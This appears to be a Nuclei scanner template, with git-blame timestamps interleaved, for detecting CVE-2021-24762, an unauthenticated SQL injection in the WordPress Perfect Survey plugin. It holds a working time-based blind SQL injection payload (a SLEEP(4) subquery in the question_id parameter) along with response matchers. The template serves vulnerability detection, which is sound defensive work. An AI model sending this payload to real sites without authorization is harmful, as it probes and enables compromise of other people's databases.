2022-02-25 06:27:21 +00:00
id : CVE-2021-24762
info :
2022-05-16 19:23:40 +00:00
name : WordPress Perfect Survey<1.5.2 - SQL Injection
2022-02-25 06:27:21 +00:00
author : cckuailong
severity : critical
2022-05-17 06:44:15 +00:00
description : |
Perfect Survey WordPress plugin before 1.5.2 does not validate and escape the question_id GET parameter before using it in a SQL statement in the get_question AJAX action, allowing unauthenticated users to perform SQL injection.
2022-02-25 06:27:21 +00:00
reference :
- https://www.exploit-db.com/exploits/50766
- https://github.com/cckuailong/reapoc/tree/main/2021/CVE-2021-24762/vultarget
2022-02-27 13:59:50 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-24762
2022-02-25 06:27:21 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2021-24762
cwe-id : CWE-89
2022-02-27 13:59:50 +00:00
tags : cve,cve2021,sqli,wp,wordpress,wp-plugin,unauth
2022-02-25 06:27:21 +00:00
requests :
2022-02-27 13:59:50 +00:00
- method : GET
path :
- "{{BaseURL}}/wp-admin/admin-ajax.php?action=get_question&question_id=1%20AND%20(SELECT%207242%20FROM%20(SELECT(SLEEP(4)))HQYx)"
2022-02-27 14:04:26 +00:00
2022-02-25 06:27:21 +00:00
matchers-condition : and
matchers :
2022-05-17 06:44:15 +00:00
- type : dsl
dsl :
- 'duration>=4'
2022-02-25 06:27:21 +00:00
2022-02-27 13:59:50 +00:00
- type : word
part : header
words :
- "wp-ps-session"
2022-05-17 06:44:15 +00:00
- type : status
status :
- 404
2022-05-16 19:23:40 +00:00
# Enhanced by mp on 2022/05/16